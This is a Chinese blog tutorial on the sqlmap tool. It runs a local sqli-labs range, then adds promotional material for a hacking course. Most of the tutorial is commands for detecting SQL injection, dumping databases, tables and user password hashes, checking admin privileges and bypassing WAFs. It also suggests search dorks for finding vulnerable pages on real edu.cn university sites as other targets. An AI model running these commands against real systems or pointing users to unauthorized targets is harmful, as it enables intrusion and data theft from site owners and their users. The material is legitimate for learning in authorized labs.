SQLmap使用教程图文教程(非常详细)从零基础入门到精通,看完这一篇就够了。

在这里插入图片描述

SQLmap
  • 一、目标
    • 1、指定url
    • 2、指定文件(批量检测)
    • 3、指定数据库/表/字段
    • 4、post请求
    • 5、cookie注入
  • 二、脱库
    • 1、获取数据库
    • 2、获取表
    • 3、获取字段
    • 4、获取字段类型
    • 5、获取值(数据)
    • 6、获取用户
    • 7、获取主机名
    • 8、搜索库、表、字段。
    • 9、正在执行的SQL语句
  • 三、WAF绕过
  • 三、其他

SQLmap是一款「自动化」SQL注入工具,kali自带。路径 /usr/share/sqlmap

打开终端,输入sqlmap,出现以下界面,就说明SQLmap「可用」。

在这里插入图片描述

本篇文章使用本地搭建的SQL-labs靶场作为「演示」目标,其他目标可使用必应搜索以下类型的网站:

inurl:news.asp?id=site:edu.cn
inurl:news.php?id= site:edu.cn
inurl:news.aspx?id=site:edu.cn


在这里插入图片描述

快速入门;SQLmap(常规)使用步骤

1、检测「注入点」

sqlmap -u 'http://xx/?id=1'


2、查看所有「数据库」

sqlmap -u 'http://xx/?id=1' --dbs


3、查看当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db


4、查看「数据表」

sqlmap -u 'http://xx/?id=1' -D 'security' --tables


5、查看「字段」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables


6、查看「数据」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump


一、目标

检测「注入点」前,需要指定需要检测的「对象」。

1、指定url

-u 参数,指定需要检测的url,单/双引号包裹。中间如果有提示,就输入y。

提示:SQLmap不能直接「扫描」网站漏洞,先用其他扫描工具扫出注入点,再用SQLmap验证并「利用」注入点。

sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1'


扫描完成后,告诉我们存在的注入类型和使用的数据库及版本。

在这里插入图片描述

2、指定文件(批量检测)

准备一个「文件」,写上需要检测的多个url,一行一个。

在这里插入图片描述

-m 指定文件,可以「批量扫描」文件中的url。

sqlmap -m urls.txt


在这里插入图片描述

逐个扫描url,需要确认就按y。

在这里插入图片描述

扫描完一个,就会提示存在的注入点。

在这里插入图片描述

然后再按y扫描下一个url。

在这里插入图片描述

3、指定数据库/表/字段

-D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。

-T 指定目标「表」,单/双引号包裹,常配合其他参数使用。

-C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump


4、post请求

检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。

-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

sqlmap -r bp.txt


5、cookie注入

--cookie 指定cookie的值,单/双引号包裹。

sqlmap -u "http://xx?id=x" --cookie 'cookie'


二、脱库

获取所有内容

sqlmap -u 'http://xx/?id=1' -a


-a 就是 all 的意思,获取所有能获取的内容,会消耗很长时间。

在这里插入图片描述

1、获取数据库

--dbs 获取数据库

1.1、获取数据库版本

sqlmap -u 'http://xx/?id=1' -b


在这里插入图片描述

最后面显示数据库的版本,这里检测的版本是 5.7.26。

在这里插入图片描述

1.2、获取当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db


在这里插入图片描述

在最后面显示当前使用的数据库的名字是 security。

在这里插入图片描述

1.3、获取所有数据库

sqlmap -u 'http://xx/?id=1' --dbs


在这里插入图片描述

最后面显示所有数据库的名字。

在这里插入图片描述

2、获取表

--tables 获取表

2.1、获取表,可以指定数据库

sqlmap -u 'http://xx/?id=1' -D 'security' --tables


在这里插入图片描述

最后面显示数据库(security)里所有的表名。

在这里插入图片描述

2.2、同时获取多个库的表名,库名用逗号分隔。

sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables


在这里插入图片描述

2.3、不指定数据库,默认获取数据库中所有的表。

sqlmap -u 'http://xx/?id=1' --tables


在这里插入图片描述
最后面显示每个数据库下都有哪些表。

在这里插入图片描述

3、获取字段

--columns 参数用来获取字段。

3.1、获取字段,可以指定库和表

提示:只指定库名但不指定表名会报错。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns


在这里插入图片描述

最后面显示表(users)中的所有字段。

在这里插入图片描述

3.2、不指定表名,默认获取当前数据库中所有表的字段。

sqlmap -u 'http://xx/?id=1' --columns


在这里插入图片描述

4、获取字段类型

--schema 获取字段类型,可以指定库或指定表。不指定则获取数据库中所有字段的类型。

sqlmap -u 'http://xx/?id=1' -D 'security' --schema


最后面显示每个表的字段类型。

在这里插入图片描述

5、获取值(数据)

--dump 获取值,也就是表中的数据。可以指定具体的库、表、字段。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump


在这里插入图片描述
获取指定库中所有表的数据。

sqlmap -u 'http://xx/?id=1' -D 'security' --dump


在这里插入图片描述

默认获取表中的所有数据,可以使用 --start --stop 指定开始和结束的行,只获取一部分数据。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --start 1 --stop 5  --dump


在这里插入图片描述

6、获取用户

6.1、获取当前登录数据库的用户

sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --current-user


在这里插入图片描述

最后面显示当前登录数据库的用户是 root@localhost。

在这里插入图片描述

6.2、获取所有用户

--users 获取数据库的所有用户名。

sqlmap -u 'http://xx/?id=1' --users


在这里插入图片描述

最后面显示数据库的所有用户名。

在这里插入图片描述

6.3、获取用户密码

--passwords 获取所有数据库用户的密码(哈希值)。

数据库不存储明文密码,只会将密码加密后,存储密码的哈希值,所以这里只能查出来哈希值;当然,你也可以借助工具把它们解析成明文。

在这里插入图片描述

最后面显示数据库用户名对应的密码(哈希值)。

在这里插入图片描述

6.4、获取用户权限

--privileges 查看每个数据库用户都有哪些权限。

sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --privileges


在这里插入图片描述

最后面显示每个数据库用户所拥有的权限。这里root的权限最多,很明显它就是数据库的管理员账号。

在这里插入图片描述

6.5、判断当前用户是不是管理员

--is-dba 判断当前登录的用户是不是数据库的管理员账号。

sqlmap -u 'http://xx/?id=1' --is-dba


在这里插入图片描述

如果是管理员,就在最后面显示 true。

在这里插入图片描述

7、获取主机名

--hostname 获取服务器主机名。

sqlmap -u 'http://xx/?id=1' --hostname


在这里插入图片描述

最后面显示服务器的主机名是 DESKTOP。

在这里插入图片描述

8、搜索库、表、字段。

--search 搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名。

搜索数据库中有没有 security 这个数据库:

sqlmap -u 'http://xx/?id=1' -D 'security' --search


在这里插入图片描述

需要手动选择模糊匹配(1)还是完全匹配(2),而后返回匹配的结果。

在这里插入图片描述

也可以搜索表

sqlmap -u 'http://xxx/?id=1' -T 'users' --search


或者搜索字段

sqlmap -u 'http://xx/?id=1' -C 'username' --search


9、正在执行的SQL语句

--statements 获取数据库中正在执行的SQL语句。

sqlmap -u 'http://xx/?id=1' --statements


在这里插入图片描述

最后面显示正在执行的SQL语句。

在这里插入图片描述

三、WAF绕过

--tamper 指定绕过脚本,绕过WAF或ids等。

sqlmap -u 'http://xx/?id=1' --tamper 'space2comment.py'


在这里插入图片描述

SQLmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下:

在这里插入图片描述

脚本按照用途命名,比如 space2comment.py 是指,用/**/代替空格。

当然,你也可以根据内置脚本格式,自己定义绕过脚本。

三、其他

--batch (默认确认)不再询问是否确认。

--method=GET 指定请求方式(GET/POST)

--random-agent 随机切换UA(User-Agent)

--user-agent ' ' 使用自定义的UA(User-Agent)

--referer ' ' 使用自定义的 referer

--proxy="127.0.0.1:8080" 指定代理

--threads 10 设置线程数,最高10

--level=1 执行测试的等级(1-5,默认为1,常用3)

--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。
学习网络安全技术的方法无非三种:

第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。

第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。

黑客/网络安全学习路线

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习资源分享:

下面给大家分享一份2025最新版的网络安全学习路线资料,帮助新人小白更系统、更快速的学习黑客技术!

一、2025最新网络安全学习路线

一个明确的学习路线可以帮助新人了解从哪里开始,按照什么顺序学习,以及需要掌握哪些知识点。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

我们把学习路线分成L1到L4四个阶段,一步步带你从入门到进阶,从理论到实战。

在这里插入图片描述

L1级别:网络安全的基础入门

L1阶段:我们会去了解计算机网络的基础知识,以及网络安全在行业的应用和分析;学习理解安全基础的核心原理,关键技术,以及PHP编程基础;通过证书考试,可以获得NISP/CISP。可就业安全运维工程师、等保测评工程师。

在这里插入图片描述

L2级别:网络安全的技术进阶

L2阶段我们会去学习渗透测试:包括情报收集、弱口令与口令爆破以及各大类型漏洞,还有漏洞挖掘和安全检查项目,可参加CISP-PTE证书考试。

在这里插入图片描述

L3级别:网络安全的高阶提升

L3阶段:我们会去学习反序列漏洞、RCE漏洞,也会学习到内网渗透实战、靶场实战和技术提取技术,系统学习Python编程和实战。参加CISP-PTE考试。

在这里插入图片描述

L4级别:网络安全的项目实战

L4阶段:我们会更加深入进行实战训练,包括代码审计、应急响应、红蓝对抗以及SRC的挖掘技术。并学习CTF夺旗赛的要点和刷题

在这里插入图片描述

整个网络安全学习路线L1主要是对计算机网络安全的理论基础的一个学习掌握;而L3 L4更多的是通过项目实战来掌握核心技术,针对以上网安的学习路线我们也整理了对应的学习视频教程,和配套的学习资料。

二、技术文档和经典PDF书籍

书籍和学习文档资料是学习网络安全过程中必不可少的,我自己整理技术文档,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,(书籍含电子版PDF)

在这里插入图片描述

三、网络安全视频教程

对于很多自学或者没有基础的同学来说,书籍这些纯文字类的学习教材会觉得比较晦涩难以理解,因此,我们提供了丰富的网安视频教程,以动态、形象的方式展示技术概念,帮助你更快、更轻松地掌握核心知识

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

在这里插入图片描述

四、网络安全护网行动/CTF比赛

学以致用 ,当你的理论知识积累到一定程度,就需要通过项目实战,在实际操作中检验和巩固你所学到的知识,同时为你找工作和职业发展打下坚实的基础。

在这里插入图片描述

五、网络安全工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。在这里插入图片描述

面试不仅是技术的较量,更需要充分的准备。

在你已经掌握了技术之后,就需要开始准备面试,我们将提供精心整理的网安面试题库,涵盖当前面试中可能遇到的各种技术问题,让你在面试中游刃有余。

如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

img

**读者福利 |** 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值